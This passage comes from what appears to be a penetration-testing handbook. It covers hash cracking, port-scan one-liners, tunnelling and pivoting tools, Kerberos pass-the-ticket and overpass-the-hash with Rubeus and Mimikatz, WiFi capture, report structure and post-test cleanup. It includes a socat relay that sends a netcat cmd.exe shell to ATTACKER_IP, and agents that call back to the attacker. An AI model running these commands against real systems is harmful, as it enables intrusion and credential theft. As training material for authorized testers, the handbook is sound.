.\Rubeus.exe asktgt /user:<HOSTNAME>$ /enctype:aes256 /password:mimikatz /nowrap /certificate:<BASE64_CERT> 
```


# Cracking

## Introduction

During the post exploitation phase of a pentesting it is common that you will find hashed passwords. In order to obtain the actual password you will need to crack them.

## Types of Attack

Before trying to crack a hash, you must think about which approach best fits your need.

* **Dictionary attack**: Uses all words in a dictionary or text file.
* **Hybrid attack**: Based on the words of a dictionary, creates a new set of possible passwords by performing permutations, changing characters or adding numbers and symbols to the existing words. This can be achieved by using rules on certain tools.
* **Brute force**: Generates all possible passwords up to a certain length from a set of characters, taking a lot of time to break a password.
* **Rainbow tables**: Rainbow tables can be described as a huge list of pre-computed hashes of all possible password combinations for a given algorithm that retrieves passwords pretty quickly. However, they may be ineffective against password hashing that uses salting without taking the salting into account.

## Webs

There are several webs with huge databases of already cracked hashes, avoiding cracking the hashes manually.

* [Crackstation](https://crackstation.net)
* [Tunnelsup](https://www.tunnelsup.com/hash-analyzer/)
* [Md5online](https://www.md5online.org/md5-decrypt.html)
* [Hashkiller](https://hashkiller.io/listmanager)

Moreover, searching the hash on Google could provide you with the cracked password.

## Hashcat

Hashcat is the fastest passwords recovery multi-platform tool, supporting CPU, GPU and hardware accelerators for better performance. Furthermore, it comes with different modes and the ability to create rules, generating better wordlists.

Obtain the mode for the specified hash.

```bash
hashcat -h | grep NTLM 
5500 | NetNTLMv1 / NetNTLMv1+ESS   | Network Protocols
5600 | NetNTLMv2                   | Network Protocols
1000 | NTLM
```

Execute:

```bash
hashcat -m <MODE> <HASHES.TXT> <WORDLIST> [-r <RULE>]
hashcat -m <MODE> <HASHES.TXT> <WORDLIST> -r /opt/OneRuleToRuleThemAll.rule
```

Because hashcat has a lot of features and rules can be complicated to generate, you can check this [hashcat cheatsheet](https://www.blackhillsinfosec.com/wp-content/uploads/2020/09/HashcatCheatSheet.v2018.1b.pdf) your pentests.

### Rules

Hashcat comes with custom rules which modified the words in the dictionary.

```bash
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /opt/OneRuleToRuleThemAll.rule
```

## John

JohnTheRipper is another password recovery tool, which main difference between hashcat is that John is more a CPU tool and Hashcat is a GPU tool. However, it does not mean it is worse, for certain hashes John performs better than Hashcat and there are hashes supported by john that hashcat does not.

You can list JohnTheRipper's allowed formats with the following command.

```bash
john --list=formats
```

To start brute-forcing:

```bash
john -w=<WORDLIST> hash.txt
```

### Conversor

Several programs are capable of obtaining the hash of encrypted files for a later brute force on john the ripper. As an example, here are some of them.

* keepass2john
* rar2john
* zip2john
* ssh2john
* cisco2john

You can find them with the following command:

```bash
locate <format>2john
```

## fcrackzip

Because John is slow at cracking zips, you can use [fcrackzip](https://www.kali.org/tools/fcrackzip/) which performs better.

```bash
fcrackzip -v -u -D -p <WORDLIST> <FILE.ZIP>
```


# Pivoting

## Introduction

Once you have owned your victim's machine, it is time to pivot to other hosts and enumerate their open ports. In this section, you will find some techniques to perform such tasks.

## Ping Sweep

The easiest way to find hosts on a network can be achieved by sending ICMP requests to each host and waiting for their reply.

**Windows**:

```bash
for /l %i in (1,1,254) do @ping -n 1 -w 100 X.X.X.%i | find "Reply"
```

**Linux**:

```bash
for i in {1..254} ;do (ping -c 1 X.X.X.$i | grep "bytes from" &) ;done
```

## Port Scanning

Here are some "One-liners" that you can use to perform port scanning against your victim's system.

**PowerShell**:

```powershell
1..65536 | % {echo ((new-object Net.Sockets.TcpClient).Connect(“X.X.X.X”,$_)) “Port $_ is open!”} 2>$null
```

**Bash**:

```bash
#!/bin/bash
temp=$(mktemp -t PortScan_XXXXXX)
for port in $(seq 1 65535); do
    timeout 2 bash -c "2>/dev/null echo '' > /dev/tcp/$1/$port " && echo "[*] Port $port - OPEN" | tee -a $temp &
done; wait
echo "Results stored at $temp"
```

**Python**:

```python
#!/usr/bin/python3
import socket
import sys
for port in range(65536):
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 try:
  s.connect((sys.argv[1],port))
  print("Port ", port, " is open")
 except:
  pass
  #print("Port ", port, " is closed")
```

## Tools

Here you have better tools to perform port scanning and ping sweep.

* **Nmap portable**: [Link](https://github.com/ernw/static-toolbox/releases)
* **Minimalistic PowerShell TCP Scanner**: [Link](https://raw.githubusercontent.com/InfosecMatter/Minimalistic-offensive-security-tools/master/port-scan-tcp.ps1)
* **Minimalistic PowerShell UDP Scanner**: [Link](https://raw.githubusercontent.com/InfosecMatter/Minimalistic-offensive-security-tools/master/port-scan-udp.ps1)


# Tunnelling & Port Forwarding

## Introduction

If you have found hosts on a different network that you do not have access to, you will need to use one of the compromised hosts to pivot to the subnet. For doing so, you can use the several techniques and tools that you will see in this section.

## SSH

### Local Port Forwarding

Use the following command if you want to access a website (port 80) on a subnet through an intermediary computer via SSH. Then, you will be able to access the website through `localhost` (port 8000).

```bash
ssh -L localhost:8000:<VICTIM_IP>:80 <PIVOT_USER>@<PIVOT_IP> [-fN]
```

* The `-L` flag creates a link to a local port.
* The `-f` flag is used to set SSH to the *background* so that we can still use our terminal.
* The `-N` flag iindicates to SSH that we do not want to execute any commands.

### Remote Port Forwarding

This allows anyone on the remote server to connect to TCP port 8080 on the remote server. The connection will then be tunnelled back to the client host, and the client then makes a TCP connection to port 80 on `localhost`.

```bash
ssh -R 8080:localhost:80 <PIVOT_USER>@<PIVOT_IP> [-fN]
```

### Proxy

This command will open port 1337 on your machine as a proxy to send data to the subnet. This is useful when combined with a tool like **proxychains**, so you can access different ports and IPs with the same connection.

```bash
ssh -D 1337 <PIVOT_USER>@<PIVOT_IP> [-fN]
```

### Internet access to an offline machine

You might encounter a situation where you require Internet access for downloading tools, installing packages, etc. but the machine doesn't have Internet and you only can connect through SSH with a machine with Internet access. For those cases, you can do the following:

1\. Install a proxy on the machine with Internet access.

```
sudo apt update && sudo apt install squid -y
```

Modify the squid configuration by commenting all `http_access deny *` and add `http_access allow all`. Then, restart the squid server:

```bash
sudo service squid restart
```

2\. Execute the following lines in the offline machine, thus the traffic will go through the future port forwarding.

```bash
export http_proxy=http://127.0.0.1:3129
export https_proxy=http://127.0.0.1:3129
```

**Note:** To make it permanently through all the terminals add the before-mentioned lines into the `/etc/environment` file.

Furthermore, if you want to use **apt** to install packages add the following lines into the `/etc/apt/apt.conf.d/50apt-file.conf` file.

```bash
Acquire::http::Proxy "http://localhost:3129";
Acquire::https::Proxy "https://localhost:3129";
```

3\. Finally, do the port forwarding.

```bash
ssh -R 3129:localhost:3128 <USER>@<OFFILNE_HOST>
```

## Sshuttle

Shuttle allows us to route networks through SSH tunnels as if it were a VPN.

* **Download Link**: [Link](https://github.com/sshuttle/sshuttle)
* **Installation command**: `sudo apt install sshutle`

The command to use shuttle is:

```bash
sshuttle -r <PIVOT_USER>@<PIVOT_IP> {-N | <SUBNET/X>}
```

The `-N` flag is used for sshuttle to try to guess the server's subnet.

Unfortunately, sshuttle has no shortcut to use a **private key** to authenticate to the SSH server. However, you can use the `--ssh-cmd` flag to work around this problem.

```bash
sshuttle -r <PIVOT_USER>@<PIVOT_IP> --ssh-cmd "ssh -i <PRIVATE_KEY>" {-N | <SUBNET/X>}
```

**Nota:**

You may get the following error when connecting with sshuttle: `client: fatal: server died with error code 255`.

This can happen when the compromised machine you connect to is part of the subnet you are trying to access. For example, if we were connecting to 172.16.0.5 and tried to forward 172.16.0.0/24, we would be including the compromised server within the newly forwarded subnet, thus breaking the connection and causing the tool to die.

To avoid this, we tell sshuttle to exclude the compromised server from the subnet range using the `-x` option. To use our example above:

```bash
sshuttle -r <PIVOT_USER>@<PIVOT_IP> <SUBNET/X> -x <PIVOT_IP>
```

## Ligolo-ng

[Ligolo-ng](https://github.com/nicocha30/ligolo-ng) is an advanced, yet simple tunneling tool that uses TUN interfaces, allowing you to access the whole network without much of a hassle. However, it is not suitable for creating listening ports on the victims machine which connection is redirected to another machine rather than the server.

1. Create the tun interface.

```bash
sudo ip tuntap add user auditor mode tun ligolo
sudo ip link set ligolo up
```

2. Launch the server.

```bash
./ligo_proxy -selfcert -laddr 0.0.0.0:8080
```

3. On the victim side execute the client, pointing to the server.

```bash
# Meterpreter
execute -H -f C:\\Windows\\Tasks\\ligo_agent.exe -a "-ignore-cert -connect <YOUR_IP>:8080"

# Windows 
Start-Process -WindowStyle Hidden -FilePath "C:\Windows\Tasks\ligo_agent.exe" -ArgumentList "-ignore-cert", "-connect", "<YOUR_IP>:8080" 

# Linux
./ligo_agent -ignore-cert -connect <YOUR_IP>:<PORT> &
```

4. Go to the server's terminal and select the new session.

```bash
ligolo-ng » session
ligolo-ng » <SESSION>
```

5. Once selected the session start the tunnel.

```bash
[Agent : www-data@web05] » start
```

6. Add on the attacking machine the route you want to access

```bash
sudo ip route add <VICTIMS_NETWORK>/24 dev ligolo
```

### **Remote Port Forwarding**

This allows anyone on the remote server to connect to TCP port 8080 on the remote server. The connection will then be tunnelled back to the client host, and the client then makes a TCP connection to port 80 on `localhost`.

> ℹ️ This can be useful to pivot between networks. So, victim 1 creates a Remote Port Fortwarding to ligolo proxy and then, victim 2 connects to victim 1 which is forwarded to ligolo

1. Select a session.
2. Configure the listener

```bash
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80 --tcp
```

## Socat

Socat is a relay for bidirectional data transfer between two independent data channels.

Download links:

* **Windows (x86-x64)**: [Link](https://sourceforge.net/projects/unix-utils/files/socat/1.7.3.2/socat-1.7.3.2-1-x86_64.zip/download)
* **Linux (x64)**: [Link](https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat)

### Reverse Shell Relay

```bash
kali@kali:$ sudo nc -lvnp 443
user@victim_ONE:$ socat tcp-l:8000 tcp:<ATTACKER_IP>:443 
user@victim_TWO:$  nc 127.0.0.1 8000 -e C:\Windows\System32\cmd.exe
```

`tcp-l: 8000` is used to create the first half of the connection: an IPv4 tcp listening port on 8000 on the `victim_ONE`. The second have of the connection is when you connect to the `victim_ONE` machine from the `victim_TWO` machine.

### Port Forwarding (Stealthy)

First, on our pivoting machine, we run the following command:

```bash
./socat tcp-l:8001 tcp-l:8000,fork,reuseaddr &
```

This command opens two ports: 8000 and 8001, creating a local port relay. What goes into one of them will come out of the other. For this reason, port 8000 also has the `fork` and `reuseaddr` options to allow us to create more than one connection using this port going forward.

The following command establishes a connection between our listening port 8001 on the pivoting machine and the open port on the target server (80).

```bash
./socat tcp:<PIVOTING_IP>:8001 tcp:<TARGET_IP>:80,fork &
```

This would create a link between port 8000 on our attacking machine and port 80 on the target machine, which means we could go to `localhost:8000` in the web browser of our attacking machine to load the web page served by the target.

### Port Forwarding (Reverse)

In order to access the website on port 80 on the victim's machine through `localhost:8080`, we need to execute the following commands.

**Attacking machine**:

```bash
socat -v TCP-LISTEN:<PIVOTING_PORT> TCP-LISTEN:<SRC_PORT>
# Example
socat -v TCP-LISTEN:10000 TCP-LISTEN:8080
```

**Pivoting machine**:

```bash
socat TCP:<ATTACKER_IP>:<PIVOTING_PORT> TCP:localhost:<DST_PORT>
# Example
socat TCP:10.9.160.251:10000 TCP:localhost:80
```

## Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable, including both client and server. Written in Go.

Furthermore, Chisel is mainly useful for passing through firewalls.

**Download link**: [Link](https://github.com/jpillora/chisel/releases)

### Reverse SOCKS Proxy

On our attacking machine, we set a port to listen (`--reverse` sets the port to listen.).

```bash
./chisel server -p <LISTEN_PORT> --reverse &
```

On the compromised host, we would use the following command, which connects to the listening port of our attacking machine, completing the proxy.

```bash
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:socks &
```

The flag `R:socks` tells the chisel server that the proxy or port forwarding will be done on the client-side.

### Forwards SOCKS Proxy

The connection is made from the attacking machine to the compromised machine.

On the compromised machine we run:

```bash
./chisel server -p <LISTEN_PORT> --socks5
```

On the attacking machine we run::

```bash
./chisel client <TARGET_IP>:<LISTEN_PORT> CHISEL_PORT_SERVER:socks
```

### Remote Port Forwarding

Remote Port Forward is when we connect from the compromised target machine to create port forwarding.

On the attacking machine, we use the following command:

```bash
./chisel server -p <LISTEN_PORT> --reverse &
```

The command to connect to the attacking machine is as follows..

```bash
./chisel client <ATTACKER_IP>:<LISTEN_PORT> R:<LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> &
```

Note the difference between `LISTEN_PORT` and `LOCAL_PORT`. **LISTEN\_PORT** is the port on which we start the chisel server, and **LOCAL\_PORT** is the port we want to open on our attacker machine to bind to the desired destination port.

### Local Port Forwarding

We connect from our attacking machine to the chisel server on the compromised machine.

On the compromised machine, we create the chisel server.

```bash
./chisel server -p <LISTEN_PORT>
```

And now we connect from the attacking machine

```bash
./chisel client <PIVOT_IP>:<PIVOT_PORT> <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT>
```

For example, if you want to connect to the application on `192.168.2.4:80` through the machine `192.168.1.2`, so you can access the web page accessing `localhost:8080` on your machine. Execute the following commands:

```bash
# Compromissed
./chisel server -p 8081
# Attacking machine
./chisel client 192.168.1.2:8081 8080:192.168.2.4:80
```

## Metasploit

Once we have a meterpreter session, we can use the module `post/multi/manage/autoroute` to pivot to a different network through the compromised machine.

<pre class="language-bash"><code class="lang-bash">use post/multi/manage/autoroute
set SESSION X
<strong>[set SUBNET &#x3C;SUBNET/X>]
</strong>exploit
</code></pre>

Then, with the module `auxiliary/server/socks_proxy`, we can use proxychains in order to route all our traffic.

You can use socks5 or socks 4.

> :information\_source: By default, this module uses **socks5** at port **1080**.

```bash
# Might also work auxiliary/server/socks4a
use auxiliary/server/socks_proxy 
exploit
```

If you want to use socks4, you need to configure proxychains.

```bash
sudo bash -c 'echo "socks4 127.0.0.1 1080" >> /etc/proxychains.conf'
```

## References

#### Internet access through SSH

* [Give server access to Internet, via client connecting by SSH](https://unix.stackexchange.com/questions/116191/give-server-access-to-internet-via-client-connecting-by-ssh)
* [apt-get install via tunnel proxy but ssh only from client side](https://stackoverflow.com/questions/36353955/apt-get-install-via-tunnel-proxy-but-ssh-only-from-client-side)


# Lateral Movement

## Introduction

In this section, you will find some techniques in order to perform lateral movements on **Active Directory** infrastructuree.

## Pass The Ticket (PTT)

In the Pass the Ticket technique, an attacker obtains a valid Kerberos ticket-granting ticket (TGT) by stealing it from a user or extracting it from a computer's memory. The attacker can then use this TGT to request additional service tickets without the need for any further authentication.

You can perform this technique with **Rubeus**.

```bash
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USERNAME> /password:FakePass123 /ticket:<TICKET>
```

Depending on the obtained TGS you, will only be able to perform specific tasks.

### Tickets - Techniques

| Service Type                               | Required Tickets                                          |
| ------------------------------------------ | --------------------------------------------------------- |
| Windows File Share (PsExec)                | CIFS                                                      |
| LDAP Operations (DSync)                    | LDAP                                                      |
| WinRM                                      | <p>HOST<br>HTTP<br>WINRM</p>                              |
| WMI                                        | <p>HOST<br>RPCSS</p>                                      |
| Powershell Remoting                        | <p>HOST<br>HTTP<br>Depending on OS:<br>WSMAN<br>RPCSS</p> |
| Schedule Taks                              | Host                                                      |
| Windows Remote Server Administration Tools | <p>RPCSS<br>LDAP<br>CIFS</p>                              |
| Golden Tickets                             | krbtgt                                                    |

## Overpass The Hash (OTH)

This technique allows a user to request a Kerberos TGT using its NTLM or AES/RC4 hash.

* **Alternative 1 - Without HIGH privileges**

<pre class="language-bash"><code class="lang-bash"><strong># Alternative 1
</strong><strong>.\Rubeus.exe asktgt /nowrap /user:&#x3C;USER> [/dc:&#x3C;DC_IP>] [/ntlm:&#x3C;HASH_NTLM>|/aes256:&#x3C;AES256_KEY>|/rc4:&#x3C;RC4_KEY>] [/opsec|/force] /ptt 
</strong><strong># Alternative 2
</strong>impacket-getTGT &#x3C;DOMAIN>/&#x3C;USERSNAME>[:password] -dc-ip &#x3C;DC_IP> -hashes LMHASH:NTHASH
</code></pre>

* Alterntative 2 - Requires HIGH privileges

```bash
[.\Mimikatz.exe | .\SafetyKatz.exe ] "sekurlsa::pth /user:<USER2IMPERSONATE> /domain:<DOMAIN> [/ntlm:<HASH_NTLM>|/aes256:<AES256_KEY>|/rc4:<RC4_KEY>] /run:[cmd.exe | powershell.exe]" "exit"
```

Then, you can use PsExec to access the machine, if the user has administrator privileges.

> :information\_source:The `-s` argument is to upgrade to "nt authority\system", but it will only work if you are going to connect as a highly privileged user.

```bash
# Alternative 1
.\PsExec.exe /accepteula [-s] \\<COMPUTER_NAME> <PROGRAM>
# Alternative 2
export KRB5CCNAME=<PATH_TICKET.ccache>
impacket-psexec -k -no-pass [[domain/]username@]<COMPUTER_NAME> -dc-ip <DC-IP> [-c <PROGRAM.EXE>]
```

## S4U2Self Abuse (Constrained Delegation)

The exploitation is seen on the [Kerberos exploitation phase](/active-directory/kerberos#s4u2self-abuse).

## Alternate Service Name (Constrained Delegation)

The exploitation is seen on the [Kerberos exploitation phase](/active-directory/kerberos#alternate-service-name).

## References

* [Attacking Kerberos: Constrained Delegation](https://www.notsoshant.io/blog/attacking-kerberos-constrained-delegation/)


# WIFI

## Introduction

Once you are into the network, it is time to analyse it, looking for further wireless-related vulnerabilities.

## Capture and analysis of network traffic

Even if you encounter an open or WPA-PSK network, it is necessary to analyse the traffic looking for important or sensitive information transmitted through clear text protocols.

### Open network

Because Open networks don't encrypt the traffic, it is pretty easy to capture and analyse the traffic.

For doing so, use airodump-ng to dump all the data into files. Then, filter the data and put everything on a single cap file. This way, analysing all the traffic on Wireshark is easier.

```bash
# Obtain the data
sudo airodump-ng <MON_IF> -c <CHANNEL> --bssid <TARGET_BSSID> -w <FILE_PREFIX>
# Filter data
seq -f %02g  1 <#CAP_FILES> | xargs -I {} bash -c "airdecap-ng -b <TARGET_BSSID> <FILE_PREFIX>-{}.cap -o /tmp/filtered_{}.cap"
# Append filtered data
mergecap -a  /tmp/filtered_*.cap -w open.cap
```

### WPA-PSK

In the case of WPA-PSK, the network is encrypted, so you need to get the key to decrypt all the traffic and capture the WPA handshake during the sniffing process (Just deautenticate some users). But then, the process is almost the same.

```bash
# Obtain the data and handshake
sudo airodump-ng <MON_IF> -c <CHANNEL> --bssid <TARGET_BSSID> -w <FILE_PREFIX>
# Decrypt data
seq -f %02g  1 <#CAP_FILES> | xargs -I {} bash -c "airdecap-ng -e '<TARGET_ESSID>' -p '<PSK_KEY>' <FILE_PREFIX>-{}.cap -o /tmp/decrypted_{}.cap"
# Append decrypted data
mergecap -a  /tmp/decrypted_*.cap -w decrypted.cap
```

## Exposed network admin panels

Inside the network, scan the devices with tools such as Nmap to find some network admin panels (ports 80, 443, 8080, etc.). These panels are typically located on the network gateway when the router also acts as an access point.

Then, try to access the panel using the [default password](https://router-network.com/default-router-passwords-list) or some dictionary brute force attack.

In some cases, the admin panel can modify the network segments, so you can use it to pivot or perform port forwarding, accessing other network resources.

## Captive portal

Some wireless networks use a captive portal to authenticate users. It is necessary to examine the captive portal looking for vulnerabilities that could lead to access to the device or the network.

### Web page

Captive portals use web pages asking for credentials to check the client's authenticity and allow it to enter the network.

In this task, you should evaluate the web security by bypassing the authentication mechanism or exploiting any other vulnerability that could compromise the company's security.

### Unauthenticated access to other network segments

The captive portals introduce the client to a preventing network until it is authenticated and moved to the internal network.

You need to check if you can get access to other networks. For that, you can use the following tools.

* Netdiscover
* [Frogger2](https://github.com/commonexploits/vlan-hopping)

### Outside traffic allowed

Users who are not authenticated and reside on the temporal network should not be allowed to send data to the Internet or other networks until they are authenticated.

To check this, you can try to resolve DNS names or ping hosts outside the network. If they work, you can use DNS or ICMP tunnels with the following tools:

* [ICMPTX](https://codeberg.org/jakkarth/icmptx)
* [iodine](https://github.com/yarrick/iodine) (DNS)
* [icmptunnel](https://github.com/DhavalKapil/icmptunnel)

## References

* [airdecap-ng](https://www.aircrack-ng.org/doku.php?id=airdecap-ng)
* [OWISAM](https://www.owisam.org/)


# 4 - Report

## Introduction

At the conclusion of the test, a report is developed to describe identified vulnerabilities, present a risk rating, and give guidance on how to mitigate the discovered weaknesses in its efforts to improve its security posture. Furthermore, the report should be structured in a way to clearly communicate what was tested, how it was tested, and the results of the testing.

This section is intended to define the base structure for a penetration test report, although it is highly encouraged to use your own format based on your needs.

## Structure

A penetration test report comprises mainly two parts: the executive summary and the technical information.

* Confidentiality statement: A brief explanation of the document's importance and the consequences of its disclosure.
* Disclaimer: Statement explaining that you are not responsible for new vulnerabilities that might appear in the future and were not found during the assessment.
* Executive summary
  * **Synopsis**: It should be a paragraph or small set of paragraphs for a no tech-savvy person explaining the major weaknesses you have found during the test in general terms.
  * **Observed security strengths**: Highlight security measures the client should maintain.
  * **Risk Rating**:
* Technical report
  * **Scope**: Should contain the assets the client wanted to test for each hired service, adding any extra information provided for the client such as credentials.
    * Hosts
    * Ports
    * Provided credentials
  * **< SERVICE >**: Depending on the service contracted by the client, it will have a different structure.
  * < Footprinting >: Show all the information obtained about the company categorised.
    * Company domains and subdomains
    * Public contact information
    * Public files metadata
    * Employees (Names, roles, emails, leaked credentials...)
  * < Pentesting | vulnerability assessment >: The reporting of this type of test has different approaches: explaining all the steps narratively from the enumeration phase to the post-exploitation stage or focusing directly on the vulnerabilities found their exploitation without emphasising the enumeration and situational awareness phases.
    * **Hostname - IP**
      * Ports (TCP):
      * Ports (UDP):
      * Operating system:
    * **Description**: Description of what has been exploited.
    * **CVSS Base Score**: [CVSS Calculator](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
    * **Criticality**: To help you better decide which vulnerabilities should be fixed first: (Low, Medium, High)
    * **Proof of Concept** (PoC): Detailed steps to exploit the vulnerability.
    * **Mitigations**: Recommendations about how to solve the vulnerability.
  * House cleaning
* WiFi report: All the steps involving a WIFI penetration test exercise.
* Appendix
  * **Changes during the test**: List evidence that appeals to the change in the testing objectives.
  * **Meaning severity scale**: Explain what is based on the criticality of each vulnerability.

## Report Example

The source code and the script to generate the PDF can be found in this [GitHub Repository](https://github.com/Marmeus/pentesting-report-generator).

![Document collage](/files/RAZKC8BbyNF8CFqsHLke)

{% file src="/files/JHXJZR9vQqLgaTsAYG9m" %}
Pentesting report example
{% endfile %}

### Reporting Tools

As an alternative you can use tools such as [PwnDoc](https://github.com/pwndoc/pwndoc) or [GhostWriter](https://github.com/GhostManager/Ghostwriter), where you can manage your clients and project information, register their infrastructure such as servers, domains, etc.,manage vulnerability templates and use report templates, and everything on a multi-user friendly environment.

## References

* [Public pentest reports](https://pentestreports.com/templates/)
* [Sample penetration testing report \[Offensive-Security\]](https://www.offensive-security.com/reports/sample-penetration-testing-report.pdf)
* [Pentest report \[itpro\]](https://go.itpro.tv/pentest-report)
* [Security Sample Pentest Report - \[TCM\]](https://github.com/hmaverickadams/TCM-Security-Sample-Pentest-Report/)
* [Reporting \[PTES\]](http://www.pentest-standard.org/index.php/Reporting)


# 5 - House cleaning

## Introduction

After the completion of the penetration test, the vulnerable client's environment is composed of systems fake accounts, modified files, enumeration tools, exploits... So, the purpose of this phase is to ensure that there is no artefacts leftovers that a malicious attacker could exploit or that could lead to more risk than the organisation is willing to tolerate.

## Cleaning phase

Some common cleanup tasks:

* [ ] Delete any new files you created on the systems.
* [ ] Restore modified files to their original state.
* [ ] Restore any software configuration to its original state.
* [ ] Restore active protection-system settings.
* [ ] Remove any accounts you created from the affected systems.
* [ ] Change any modified credentials to their original state.
* [ ] Remove any shells or backdoors from the affected systems.
* [ ] Remove any installed or uploaded tools you may have left on the systems.
* [ ] Purge any sensitive leaked data.

## References

* [What should you do after your penetration testing report?](https://sentrium.co.uk/about-us/insights/what-should-you-do-after-your-penetration-testing-report)
* [Post-engagement cleanup](https://livebook.manning.com/book/penetrating-enterprise-networks/chapter-11/)
* [Post-Engagement Cleanup Tasks](https://hack.technoherder.com/post-engagement-cleanup-tasks/)


